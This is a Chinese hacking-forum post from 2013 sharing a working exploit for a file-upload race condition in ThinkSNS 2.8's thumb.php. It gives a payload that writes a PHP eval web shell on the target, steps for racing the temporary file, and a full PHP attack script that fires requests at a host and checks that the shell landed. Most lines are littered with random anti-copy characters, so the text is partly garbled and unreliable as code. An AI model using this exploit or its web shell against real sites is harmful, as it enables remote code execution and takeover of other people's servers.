找回密码
 立即注册
查看: 2401|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本: l; c; O8 ]) Q  N, z5 g. n( H3 t
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 B* J; i" @- Q% v8 n
漏洞文件
( ?# E. w4 `) t  w存在漏洞的文件为:thumb.php
+ a. @2 u& c+ k/ k作者:韦鲲鹏
2 q' e2 ~) @% J1、        准备如下PHP文件并上传到服务器(自己的)。
6 U- u! u1 `$ b' N文件内容如下:* q  u( i4 B9 e/ B+ \
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>0 a, h, @5 r5 Z: R% t5 o5 M
2、        计算出临时的文件名:
0 x7 X, V- L& Y4 s# J2 `; Q# T这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, Q1 i. M9 s* H7 M& D
+ c& d6 C. d; f* q# P1 ?3 d3、        上传临时文件。+ {% G9 M% q' W# p+ k7 E
4、        访问临时文件。
! \( A8 Q& x4 O0 Q: F9 q9 @4 R4 B5 Z+ ?但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 A8 y2 u7 s  w; P% ^1 Z) Z7 J( qExploit文件内容如下:(这个我就不详细解释了)
, |# G/ x2 @6 p2 S" m3 P7 \3 n7 u<?php5 r5 Q" C5 u8 ^/ ?
error_reporting(0);" w" ?4 }" M6 l, x3 |4 H" ~
set_time_limit(0);
# ?0 W/ D' e8 J) ^, L9 xini_set(“default_socket_timeout”, 5);5 ^6 i9 Y- M7 T/ l6 X
function http_send($host, $port, $headers) {
, ~' h4 U9 k% r4 [6 @$ E$fp = fsockopen($host, $port);
- o( [( H5 Z8 _" i  |6 C! c* r$ cif (!$fp) die(‘Connection -> fail’);
+ n1 P/ V4 U* X9 t- ^  afputs($fp, $headers);4 I4 i- d; z$ c3 x# [4 ]8 b9 C# l4 _
return $fp;
, A) j" d% C% B# c( @}! K& I5 b' V# G4 O4 @
function http_recv($fp) {
1 q. D8 r2 X( \* y% h5 s$ret=”";
5 x. U% S. E1 u% |while (!feof($fp))
8 t6 ~* r2 |# O3 Z$ret.= fgets($fp, 1024);
. j9 c& Q: j+ i: pfclose($fp);) p# W/ R& u% `
return $ret;# |' f' k  r+ F9 W/ y2 F
}) B# F4 t3 [1 @
print “\n#  ThinkSns Arbitrary File Upload   #\n”;# m3 D+ z2 u5 v7 Y9 ]& \9 h) }. K. H
print “# Discovered by 韦鲲鹏 #\n\n”;
5 f' P+ k/ r5 I% M/ n1 y6 Bif ($argc < 4) {$ C9 @3 f* b. Q! U) X2 H& I5 Z7 H  C
print “Usage:   php <host> <path> <romote_url>\n”;
' ?5 Z7 V3 _2 \+ N( x- ]5 e' wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;6 x+ x( w5 W- P
die();
, L5 l9 x7 W' h: I3 z" i}2 F9 d  @' l6 a8 j+ T$ X4 Y
$host = $argv[1];
* w% \; _+ j  R* f8 P7 l0 C$path = $argv[2];* F  y; p% h+ V9 Y! f, e7 q
$url = $argv[3];/ J% K. X# L- o0 O, J* H5 h0 D
$i=0;1 J2 `9 C: W7 p" K6 w8 h
//上传数据包3 P: c; j! l1 i& [6 n4 _
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 J7 s0 u. n% q. X6 ~* G1 O
$headers_up .= “Host: “.$host.”\r\n”;7 g; h3 d, E8 M0 U" T
$headers_up .= “Connection: close\r\n\r\n”;4 g; E8 g/ a! w4 _; G/ x
echo $headers_up;' I' f2 }* g( }' n; l% Z2 g
//临时文件访问数据包
$ T1 ^# R: O- t$ h; ]: K$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" V# @! `& P1 B. \
$headers .= “Host: “.$host.”\r\n”;. g* K! P' f) v* n" Y( P
$headers .= “Connection: close\r\n\r\n”;! z; {! N" k3 d0 x
echo $headers;+ m1 X8 e$ A7 n3 z
while(++$i<10) {
0 G% ?$ M" @8 ?7 }$ u7 j$ \fclose(http_send($host, 80, $headers));
" O! ^- M9 B3 q2 X& ^5 B}
2 p1 G1 h' z, b) Q7 Mfclose(http_send($host, 80, $headers_up));
. U% o" v; j6 Q: y/ k) Nwhile(++$i<50) {3 {. p7 R; T6 ~; }& S
fclose(http_send($host, 80, $headers));
) q: G: X" \1 @0 Q) S9 Q4 h}
2 d7 ~7 \7 l9 h5 S: X  d$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
- X+ ?! |  |1 \+ ]$ T0 w7 ?1 s$headers .= “Host: “.$host.”\r\n”;
7 K  \3 i3 P; N4 `: S# `& Z. g$headers .= “Connection: close\r\n\r\n”;
: B3 I1 V. B2 o3 T9 n1 Q2 ^$res=http_recv(http_send($host, 80, $headers));8 J! n) n% [+ M
if(preg_match(‘/200 OK/’,$res)) {: g/ M9 q+ l! o. g+ ^. ]: E" H( a
print “Success!\n\n”;7 s% o- [1 N9 o  n6 w4 s$ z& e
} else {; m2 t, d6 {) J' V% Z6 p# c. z. k' N
print “Fail!\n\n”;
7 H- A7 z4 K% e* c, Z: {+ q# ?' E}* ?$ X6 v0 M9 p7 L9 j
?>
: W( U- ^1 Q+ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表